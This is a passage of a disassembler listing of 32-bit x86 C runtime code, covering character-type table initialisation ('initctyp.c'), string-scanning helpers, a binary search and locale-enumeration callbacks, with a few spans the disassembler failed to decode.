		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_431807:				; CODE XREF: sub_431790+3Bj
					; sub_431790+6Cj
		jmp	short loc_431794
; ---------------------------------------------------------------------------


loc_431809:				; CODE XREF: sub_431790+Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_431790	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431810	proc near		; CODE XREF: sub_431450+4Dp
					; sub_431450+A7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_43181E
		jmp	loc_4318A1
; ---------------------------------------------------------------------------


loc_43181E:				; CODE XREF: sub_431810+7j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0Ch], offset dword_4EECF0
		jz	short loc_4318A1
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+20h]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		call	sub_41B8F0
		add	esp, 8


loc_4318A1:				; CODE XREF: sub_431810+9j
					; sub_431810+18j
		pop	ebp
		retn
sub_431810	endp

; ---------------------------------------------------------------------------
		align 10h


loc_4318B0:				; DATA XREF: seg002:00450550o
		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	dword ptr [ebp-2Ch], 0
		mov	dword ptr [ebp-28h], 0
		cmp	ds:dword_4EEA70, 0
		jz	loc_431C01
		cmp	ds:dword_4EEA80, 0
		jnz	short loc_431900
		push	offset dword_4EEA80
		push	1004h
		xor	eax, eax
		mov	ax, ds:word_4EECA8
		push	eax
		push	0
		call	sub_435830
		add	esp, 10h
		test	eax, eax
		jz	short loc_431900
		jmp	loc_431BC2
; ---------------------------------------------------------------------------


loc_431900:				; CODE XREF: seg000:004318D8j
					; seg000:004318F9j
		push	5Ch
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp-30h], eax
		push	5Eh
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp-1Ch], eax
		push	60h
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	101h
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp-2Ch], eax
		push	62h
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-30h], 0
		jz	short loc_43197C
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_43197C
		cmp	dword ptr [ebp-2Ch], 0
		jz	short loc_43197C
		cmp	dword ptr [ebp-28h], 0
		jnz	short loc_431981


loc_43197C:				; CODE XREF: seg000:00431968j
					; seg000:0043196Ej ...
		jmp	loc_431BC2
; ---------------------------------------------------------------------------


loc_431981:				; CODE XREF: seg000:0043197Aj
		mov	ecx, [ebp-2Ch]
		mov	[ebp-18h], ecx
		mov	dword ptr [ebp-20h], 0
		jmp	short loc_431999
; ---------------------------------------------------------------------------


loc_431990:				; CODE XREF: seg000:004319B3j
		mov	edx, [ebp-20h]
		add	edx, 1
		mov	[ebp-20h], edx


loc_431999:				; CODE XREF: seg000:0043198Ej
		cmp	dword ptr [ebp-20h], 100h
		jge	short loc_4319B5
		mov	eax, [ebp-18h]
		mov	cl, [ebp-20h]
		mov	[eax], cl
		mov	edx, [ebp-18h]
		add	edx, 1
		mov	[ebp-18h], edx
		jmp	short loc_431990
; ---------------------------------------------------------------------------


loc_4319B5:				; CODE XREF: seg000:004319A0j
		lea	eax, [ebp-14h]
		push	eax
		mov	ecx, ds:dword_4EEA80
		push	ecx
		call	near ptr 3D0000h
		sub	al, [ebp-16FA8A40h]
		rep add	[eax], eax
		add	[ebx+7602EC7Dh], al
		add	eax, 1E8E9h
		add	[ebx-1D7E13ABh], cl
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		add	[ecx+44FD2015h], cl
		add	[ebx+44FD203Dh], al
		add	[ecx], al
		jle	short loc_431A49
		lea	eax, [ebp-0Eh]
		mov	[ebp-18h], eax
		jmp	short loc_431A03
; ---------------------------------------------------------------------------


loc_4319FA:				; CODE XREF: seg000:loc_431A47j
		mov	ecx, [ebp-18h]
		add	ecx, 2
		mov	[ebp-18h], ecx


loc_431A03:				; CODE XREF: seg000:004319F8j
		mov	edx, [ebp-18h]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_431A49
		mov	ecx, [ebp-18h]
		xor	edx, edx
		mov	dl, [ecx+1]
		test	edx, edx
		jz	short loc_431A49
		mov	eax, [ebp-18h]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp-20h], ecx
		jmp	short loc_431A2F
; ---------------------------------------------------------------------------


loc_431A26:				; CODE XREF: seg000:00431A45j
		mov	edx, [ebp-20h]
		add	edx, 1
		mov	[ebp-20h], edx


loc_431A2F:				; CODE XREF: seg000:00431A24j
		mov	eax, [ebp-18h]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	[ebp-20h], ecx
		jg	short loc_431A47
		mov	edx, [ebp-2Ch]
		add	edx, [ebp-20h]
		mov	byte ptr [edx],	0
		jmp	short loc_431A26
; ---------------------------------------------------------------------------


loc_431A47:				; CODE XREF: seg000:00431A3Aj
		jmp	short loc_4319FA
; ---------------------------------------------------------------------------


loc_431A49:				; CODE XREF: seg000:004319F0j
					; seg000:00431A0Cj ...
		push	0
		push	0
		push	0
		mov	eax, [ebp-30h]
		add	eax, 2
		push	eax
		push	100h
		mov	ecx, [ebp-2Ch]
		push	ecx
		push	1
		call	loc_42E040
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_431A72
		jmp	loc_431BC2
; ---------------------------------------------------------------------------


loc_431A72:				; CODE XREF: seg000:00431A6Bj
		mov	edx, [ebp-30h]
		mov	word ptr [edx],	0
		mov	eax, [ebp-28h]
		mov	[ebp-24h], eax
		mov	dword ptr [ebp-20h], 0
		jmp	short loc_431A92
; ---------------------------------------------------------------------------


loc_431A89:				; CODE XREF: seg000:00431AAEj
		mov	ecx, [ebp-20h]
		add	ecx, 1
		mov	[ebp-20h], ecx


loc_431A92:				; CODE XREF: seg000:00431A87j
		cmp	dword ptr [ebp-20h], 100h
		jge	short loc_431AB0
		mov	edx, [ebp-24h]
		mov	ax, [ebp-20h]
		mov	[edx], ax
		mov	ecx, [ebp-24h]
		add	ecx, 2
		mov	[ebp-24h], ecx
		jmp	short loc_431A89
; ---------------------------------------------------------------------------


loc_431AB0:				; CODE XREF: seg000:00431A99j
		push	0
		push	0
		mov	edx, [ebp-1Ch]
		add	edx, 2
		push	edx
		push	100h
		mov	eax, [ebp-28h]
		push	eax
		push	1
		call	loc_435AD0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_431AD7
		jmp	loc_431BC2
; ---------------------------------------------------------------------------


loc_431AD7:				; CODE XREF: seg000:00431AD0j
		mov	ecx, [ebp-1Ch]
		mov	word ptr [ecx],	0
		cmp	ds:dword_44FD20, 1
		jle	short loc_431B43
		lea	edx, [ebp-0Eh]
		mov	[ebp-18h], edx
		jmp	short loc_431AF9
; ---------------------------------------------------------------------------


loc_431AF0:				; CODE XREF: seg000:loc_431B41j
		mov	eax, [ebp-18h]
		add	eax, 2
		mov	[ebp-18h], eax


loc_431AF9:				; CODE XREF: seg000:00431AEEj
		mov	ecx, [ebp-18h]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_431B43
		mov	eax, [ebp-18h]
		xor	ecx, ecx
		mov	cl, [eax+1]
		test	ecx, ecx
		jz	short loc_431B43
		mov	edx, [ebp-18h]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-20h], eax
		jmp	short loc_431B25
; ---------------------------------------------------------------------------


loc_431B1C:				; CODE XREF: seg000:00431B3Fj
		mov	ecx, [ebp-20h]
		add	ecx, 1
		mov	[ebp-20h], ecx


loc_431B25:				; CODE XREF: seg000:00431B1Aj
		mov	edx, [ebp-18h]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	[ebp-20h], eax
		jg	short loc_431B41
		mov	ecx, [ebp-20h]
		mov	edx, [ebp-30h]
		mov	word ptr [edx+ecx*2+2],	8000h
		jmp	short loc_431B1C
; ---------------------------------------------------------------------------


loc_431B41:				; CODE XREF: seg000:00431B30j
		jmp	short loc_431AF0
; ---------------------------------------------------------------------------


loc_431B43:				; CODE XREF: seg000:00431AE6j
					; seg000:00431B02j ...
		mov	eax, [ebp-30h]
		add	eax, 2
		mov	ds:off_44FE2C, eax
		mov	ecx, [ebp-1Ch]
		add	ecx, 2
		mov	ds:off_44FE30, ecx
		cmp	ds:dword_4EEC94, 0
		jz	short loc_431B74
		push	2
		mov	edx, ds:dword_4EEC94
		push	edx
		call	sub_41B8F0
		add	esp, 8


loc_431B74:				; CODE XREF: seg000:00431B61j
		mov	eax, [ebp-30h]
		mov	ds:dword_4EEC94, eax
		cmp	ds:dword_4EEC98, 0
		jz	short loc_431B96
		push	2
		mov	ecx, ds:dword_4EEC98
		push	ecx
		call	sub_41B8F0
		add	esp, 8


loc_431B96:				; CODE XREF: seg000:00431B83j
		mov	edx, [ebp-1Ch]
		mov	ds:dword_4EEC98, edx
		push	2
		mov	eax, [ebp-2Ch]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp-28h]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		xor	eax, eax
		jmp	loc_431C4C
; ---------------------------------------------------------------------------


loc_431BC2:				; CODE XREF: seg000:004318FBj
					; seg000:loc_43197Cj ...
		push	2
		mov	edx, [ebp-30h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp-2Ch]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp-28h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		mov	eax, 1
		jmp	short loc_431C4C
; ---------------------------------------------------------------------------


loc_431C01:				; CODE XREF: seg000:004318CBj
		mov	ds:off_44FE2C, offset word_44FE36
		mov	ds:off_44FE30, offset word_44FE36
		push	2
		mov	eax, ds:dword_4EEC94
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, ds:dword_4EEC98
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		mov	ds:dword_4EEC94, 0
		mov	ds:dword_4EEC98, 0
		xor	eax, eax


loc_431C4C:				; CODE XREF: seg000:00431BBDj
					; seg000:00431BFFj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431C50	proc near		; DATA XREF: seg002:00450544o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_431C50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431C60	proc near		; CODE XREF: seg000:0042AE5Ep
					; sub_42B510+7Bp

var_24		= dword	ptr -24h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+arg_4]
		lea	ecx, [ecx+0]


loc_431C74:				; CODE XREF: sub_431C60+1Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_431C81
		inc	edx
		bts	[esp+24h+var_24], eax
		jmp	short loc_431C74
; ---------------------------------------------------------------------------


loc_431C81:				; CODE XREF: sub_431C60+18j
		mov	esi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		nop


loc_431C88:				; CODE XREF: sub_431C60+34j
		inc	ecx
		mov	al, [esi]
		or	al, al
		jz	short loc_431C96
		inc	esi
		bt	[esp+24h+var_24], eax
		jnb	short loc_431C88


loc_431C96:				; CODE XREF: sub_431C60+2Dj
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
sub_431C60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431CA0	proc near		; CODE XREF: seg000:0042AD7Dp

var_24		= dword	ptr -24h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+arg_4]
		lea	ecx, [ecx+0]


loc_431CB4:				; CODE XREF: sub_431CA0+1Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_431CC1
		inc	edx
		bts	[esp+24h+var_24], eax
		jmp	short loc_431CB4
; ---------------------------------------------------------------------------


loc_431CC1:				; CODE XREF: sub_431CA0+18j
		mov	esi, [ebp+arg_0]


loc_431CC4:				; CODE XREF: sub_431CA0+2Fj
		mov	al, [esi]
		or	al, al
		jz	short loc_431CD4
		inc	esi
		bt	[esp+24h+var_24], eax
		jnb	short loc_431CC4
		lea	eax, [esi-1]


loc_431CD4:				; CODE XREF: sub_431CA0+28j
		add	esp, 20h
		pop	esi
		leave
		retn
sub_431CA0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_431CE0:				; CODE XREF: sub_42B320+D3p
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	ds:dword_4EECE0, 0
		jnz	short loc_431D12
		call	sub_4327B0
		test	eax, eax
		jz	short loc_431D02
		mov	eax, ds:dword_4F1354
		mov	[ebp-8], eax
		jmp	short loc_431D09
; ---------------------------------------------------------------------------


loc_431D02:				; CODE XREF: seg000:00431CF6j
		mov	dword ptr [ebp-8], offset sub_432800


loc_431D09:				; CODE XREF: seg000:00431D00j
		mov	ecx, [ebp-8]
		mov	ds:dword_4EECE0, ecx


loc_431D12:				; CODE XREF: seg000:00431CEDj
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_431D22
		call	loc_432600
		jmp	loc_431DEE
; ---------------------------------------------------------------------------


loc_431D22:				; CODE XREF: seg000:00431D16j
		mov	edx, [ebp+8]
		mov	ds:dword_4EECD0, edx
		cmp	ds:dword_4EECD0, 0
		jz	short loc_431D54
		mov	eax, ds:dword_4EECD0
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_431D54
		push	offset dword_4EECD0
		push	40h
		push	offset off_450D50
		call	sub_431EE0
		add	esp, 0Ch


loc_431D54:				; CODE XREF: seg000:00431D32j
					; seg000:00431D3Ej
		mov	edx, [ebp+8]
		add	edx, 40h
		mov	ds:dword_4EECD4, edx
		cmp	ds:dword_4EECD4, 0
		jz	short loc_431D89
		mov	eax, ds:dword_4EECD4
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_431D89
		push	offset dword_4EECD4
		push	16h
		push	offset off_450C98
		call	sub_431EE0
		add	esp, 0Ch


loc_431D89:				; CODE XREF: seg000:00431D67j
					; seg000:00431D73j
		mov	ds:dword_4EECD8, 0
		cmp	ds:dword_4EECD0, 0
		jz	short loc_431DCD
		mov	edx, ds:dword_4EECD0
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_431DCD
		cmp	ds:dword_4EECD4, 0
		jz	short loc_431DC6
		mov	ecx, ds:dword_4EECD4
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_431DC6
		call	sub_431F70
		jmp	short loc_431DCB
; ---------------------------------------------------------------------------


loc_431DC6:				; CODE XREF: seg000:00431DB0j
					; seg000:00431DBDj
		call	sub_432360


loc_431DCB:				; CODE XREF: seg000:00431DC4j
		jmp	short loc_431DEE
; ---------------------------------------------------------------------------


loc_431DCD:				; CODE XREF: seg000:00431D9Aj
					; seg000:00431DA7j
		cmp	ds:dword_4EECD4, 0
		jz	short loc_431DE9
		mov	eax, ds:dword_4EECD4
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_431DE9
		call	sub_432500
		jmp	short loc_431DEE
; ---------------------------------------------------------------------------


loc_431DE9:				; CODE XREF: seg000:00431DD4j
					; seg000:00431DE0j
		call	loc_432600


loc_431DEE:				; CODE XREF: seg000:00431D1Dj
					; seg000:loc_431DCBj ...
		cmp	ds:dword_4EECD8, 0
		jnz	short loc_431DFE
		xor	eax, eax
		jmp	loc_431EDC
; ---------------------------------------------------------------------------


loc_431DFE:				; CODE XREF: seg000:00431DF5j
		mov	edx, [ebp+8]
		add	edx, 80h
		push	edx
		call	sub_432630
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	short near ptr loc_431E27+5
		mov	eax, [ebp-4]
		and	eax, 0FFFFh
		push	eax
		call	near ptr 3D0000h


loc_431E27:				; CODE XREF: seg000:00431E17j
		adc	al, [ebp+330775C0h]
		shr	cl, 0A9h
; ---------------------------------------------------------------------------
		dd 6A000000h, 0C00D8B01h, 51004EECh, 0F9E1BFE8h, 0C085D0FFh
		dd 0C0330775h, 8FE9h, 0C7D8300h, 8B257400h, 0A1660C55h
		dd 4EECC0h, 8B028966h, 8B660C4Dh, 4EECDC15h, 51896600h
		dd 0C458B02h, 0FC4D8B66h, 4488966h, 107D83h, 406A5974h
		dd 5210558Bh, 100168h, 0ECC0A100h, 0FF50004Eh, 4EECE015h
		dd 75C08500h, 0EBC03304h, 8B406A3Fh, 0C183104Dh, 2685140h
		dd 8B000010h, 4EECDC15h, 15FF5200h, 4EECE0h, 475C085h
		dd 1CEBC033h, 458B0A6Ah, 800510h, 8B500000h, 0E851FC4Dh
		dd 0FFFFAE6Ch, 0B80CC483h, 1
; ---------------------------------------------------------------------------


loc_431EDC:				; CODE XREF: seg000:00431DF9j
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431EE0	proc near		; CODE XREF: seg000:00431D4Cp
					; seg000:00431D81p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 1
		mov	[ebp+var_C], 0


loc_431EF4:				; CODE XREF: sub_431EE0:loc_431F5Cj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jg	short loc_431F5E
		cmp	[ebp+var_8], 0
		jz	short loc_431F5E
		mov	eax, [ebp+var_C]
		add	eax, [ebp+arg_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*8]
		push	eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		push	edx
		call	sub_435D40
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_431F42
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*8+4]
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		jmp	short loc_431F5C
; ---------------------------------------------------------------------------


loc_431F42:				; CODE XREF: sub_431EE0+4Fj
		cmp	[ebp+var_8], 0
		jge	short loc_431F53
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		jmp	short loc_431F5C
; ---------------------------------------------------------------------------


loc_431F53:				; CODE XREF: sub_431EE0+66j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_431F5C:				; CODE XREF: sub_431EE0+60j
					; sub_431EE0+71j
		jmp	short loc_431EF4
; ---------------------------------------------------------------------------


loc_431F5E:				; CODE XREF: sub_431EE0+1Aj
					; sub_431EE0+20j
		mov	esp, ebp
		pop	ebp
		retn
sub_431EE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431F70	proc near		; CODE XREF: seg000:00431DBFp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_4EECD0
		push	eax
		call	sub_41AC70
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	ds:dword_4EECCC, ecx
		mov	edx, ds:dword_4EECD4
		push	edx
		call	sub_41AC70
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	ds:dword_4EECC4, ecx
		mov	ds:dword_4EECC0, 0
		cmp	ds:dword_4EECCC, 0
		jz	short loc_431FC9
		mov	[ebp+var_4], 2
		jmp	short loc_431FDB
; ---------------------------------------------------------------------------


loc_431FC9:				; CODE XREF: sub_431F70+4Ej
		mov	edx, ds:dword_4EECD0
		push	edx
		call	sub_432A10
		add	esp, 4
		mov	[ebp+var_4], eax


loc_431FDB:				; CODE XREF: sub_431F70+57j
		mov	eax, [ebp+var_4]
		mov	ds:dword_4EECC8, eax
		push	1
		push	offset sub_432030
		call	near ptr 3D0000h
		pop	es
		mov	ecx, ds:dword_4EECD8
		and	ecx, 100h
		test	ecx, ecx
		jz	short loc_43201C
		mov	edx, ds:dword_4EECD8
		and	edx, 200h
		test	edx, edx
		jz	short loc_43201C
		mov	eax, ds:dword_4EECD8
		and	eax, 7
		test	eax, eax
		jnz	short loc_432026


loc_43201C:				; CODE XREF: sub_431F70+8Ej
					; sub_431F70+9Ej
		mov	ds:dword_4EECD8, 0


loc_432026:				; CODE XREF: sub_431F70+AAj
		mov	esp, ebp
		pop	ebp
		retn
sub_431F70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432030	proc near		; DATA XREF: sub_431F70+75o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_432990
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, ds:dword_4EECC4
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF005h
		add	edx, 1002h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	ds:dword_4EECE0
		test	eax, eax
		jnz	short loc_432084
		mov	ds:dword_4EECD8, 0
		mov	eax, 1
		jmp	loc_43234E
; ---------------------------------------------------------------------------


loc_432084:				; CODE XREF: sub_432030+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, ds:dword_4EECD4
		push	edx
		call	sub_435D40
		add	esp, 8
		test	eax, eax
		jnz	loc_4321BF
		push	78h
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, ds:dword_4EECCC
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFF002h
		add	ecx, 1001h
		push	ecx
		mov	edx, [ebp+var_7C]
		push	edx
		call	ds:dword_4EECE0
		test	eax, eax
		jnz	short loc_4320DE
		mov	ds:dword_4EECD8, 0
		mov	eax, 1
		jmp	loc_43234E
; ---------------------------------------------------------------------------


loc_4320DE:				; CODE XREF: sub_432030+98j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, ds:dword_4EECD0
		push	ecx
		call	sub_435D40
		add	esp, 8
		test	eax, eax
		jnz	short loc_432120
		mov	edx, ds:dword_4EECD8
		or	edx, 304h
		mov	ds:dword_4EECD8, edx
		mov	eax, [ebp+var_7C]
		mov	ds:dword_4EECDC, eax
		mov	ecx, ds:dword_4EECDC
		mov	ds:dword_4EECC0, ecx
		jmp	loc_4321BF
; ---------------------------------------------------------------------------


loc_432120:				; CODE XREF: sub_432030+C3j
		mov	edx, ds:dword_4EECD8
		and	edx, 2
		test	edx, edx
		jnz	loc_4321BF
		cmp	ds:dword_4EECC8, 0
		jz	short loc_43218D
		mov	eax, ds:dword_4EECC8
		push	eax
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, ds:dword_4EECD0
		push	edx
		call	sub_435E10
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43218D
		mov	eax, ds:dword_4EECD8
		or	al, 2
		mov	ds:dword_4EECD8, eax
		mov	ecx, [ebp+var_7C]
		mov	ds:dword_4EECDC, ecx
		mov	edx, ds:dword_4EECD0
		push	edx
		call	sub_41AC70
		add	esp, 4
		cmp	eax, ds:dword_4EECC8
		jnz	short loc_43218B
		mov	eax, [ebp+var_7C]
		mov	ds:dword_4EECC0, eax


loc_43218B:				; CODE XREF: sub_432030+151j
		jmp	short loc_4321BF
; ---------------------------------------------------------------------------


loc_43218D:				; CODE XREF: sub_432030+108j
					; sub_432030+125j
		mov	ecx, ds:dword_4EECD8
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_4321BF
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_4326D0
		add	esp, 4
		test	eax, eax
		jz	short loc_4321BF
		mov	eax, ds:dword_4EECD8
		or	al, 1
		mov	ds:dword_4EECD8, eax
		mov	ecx, [ebp+var_7C]
		mov	ds:dword_4EECDC, ecx


loc_4321BF:				; CODE XREF: sub_432030+69j
					; sub_432030+EBj ...
		mov	edx, ds:dword_4EECD8
		and	edx, 300h
		cmp	edx, 300h
		jz	loc_432341
		push	78h
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, ds:dword_4EECCC
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFF002h
		add	ecx, 1001h
		push	ecx
		mov	edx, [ebp+var_7C]
		push	edx
		call	ds:dword_4EECE0
		test	eax, eax
		jnz	short loc_432216
		mov	ds:dword_4EECD8, 0
		mov	eax, 1
		jmp	loc_43234E
; ---------------------------------------------------------------------------


loc_432216:				; CODE XREF: sub_432030+1D0j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, ds:dword_4EECD0
		push	ecx
		call	sub_435D40
		add	esp, 8
		test	eax, eax
		jnz	loc_4322E0
		mov	edx, ds:dword_4EECD8
		or	dh, 2
		mov	ds:dword_4EECD8, edx
		cmp	ds:dword_4EECCC, 0
		jz	short loc_43226A
		mov	eax, ds:dword_4EECD8
		or	ah, 1
		mov	ds:dword_4EECD8, eax
		cmp	ds:dword_4EECC0, 0
		jnz	short loc_432268
		mov	ecx, [ebp+var_7C]
		mov	ds:dword_4EECC0, ecx


loc_432268:				; CODE XREF: sub_432030+22Dj
		jmp	short loc_4322DE
; ---------------------------------------------------------------------------


loc_43226A:				; CODE XREF: sub_432030+217j
		cmp	ds:dword_4EECC8, 0
		jz	short loc_4322BF
		mov	edx, ds:dword_4EECD0
		push	edx
		call	sub_41AC70
		add	esp, 4
		cmp	eax, ds:dword_4EECC8
		jnz	short loc_4322BF
		push	1
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_432720
		add	esp, 8
		test	eax, eax
		jz	short loc_4322BD
		mov	ecx, ds:dword_4EECD8
		or	ch, 1
		mov	ds:dword_4EECD8, ecx
		cmp	ds:dword_4EECC0, 0
		jnz	short loc_4322BD
		mov	edx, [ebp+var_7C]
		mov	ds:dword_4EECC0, edx


loc_4322BD:				; CODE XREF: sub_432030+26Aj
					; sub_432030+282j
		jmp	short loc_4322DE
; ---------------------------------------------------------------------------


loc_4322BF:				; CODE XREF: sub_432030+241j
					; sub_432030+258j
		mov	eax, ds:dword_4EECD8
		or	ah, 1
		mov	ds:dword_4EECD8, eax
		cmp	ds:dword_4EECC0, 0
		jnz	short loc_4322DE
		mov	ecx, [ebp+var_7C]
		mov	ds:dword_4EECC0, ecx


loc_4322DE:				; CODE XREF: sub_432030:loc_432268j
					; sub_432030:loc_4322BDj ...
		jmp	short loc_432341
; ---------------------------------------------------------------------------


loc_4322E0:				; CODE XREF: sub_432030+1FBj
		cmp	ds:dword_4EECCC, 0
		jnz	short loc_432341
		cmp	ds:dword_4EECC8, 0
		jz	short loc_432341
		mov	edx, ds:dword_4EECC8
		push	edx
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, ds:dword_4EECD0
		push	ecx
		call	sub_435E10
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_432341
		push	0
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_432720
		add	esp, 8
		test	eax, eax
		jz	short loc_432341
		mov	eax, ds:dword_4EECD8
		or	ah, 1
		mov	ds:dword_4EECD8, eax
		cmp	ds:dword_4EECC0, 0
		jnz	short loc_432341
		mov	ecx, [ebp+var_7C]
		mov	ds:dword_4EECC0, ecx


loc_432341:				; CODE XREF: sub_432030+1A1j
					; sub_432030:loc_4322DEj ...
		mov	eax, ds:dword_4EECD8
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_43234E:				; CODE XREF: sub_432030+4Fj
					; sub_432030+A9j ...
		mov	esp, ebp
		pop	ebp
		retn	4
